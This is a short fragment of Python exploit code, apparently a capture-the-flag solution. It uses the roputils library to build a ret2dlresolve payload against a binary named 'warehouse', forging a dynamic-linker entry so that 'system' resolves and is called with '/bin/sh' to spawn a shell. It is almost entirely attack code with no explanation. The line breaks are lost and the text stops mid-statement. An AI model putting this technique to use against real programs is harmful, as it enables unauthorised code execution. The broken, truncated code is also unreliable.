libc independent solution using ret2dlresolve
```pythonfrom roputils import *import struct
fpath = './warehouse'
rop = ROP(fpath)addr_bss = rop.section('.bss')
#fake entryfake = rop.string('/bin/sh')fake += rop.fill(20, fake)fake += rop.dl_resolve_data(addr_bss+20, 'system')fake += rop.fill(80, fake)
#used afterwards to set linkmap+0xe4 to be 0fake += rop.p(0xe4) + "A" * 4 + rop.p(0)
buf = ''for i in range(0,len(fake) / 4):    addr = struct.unpack('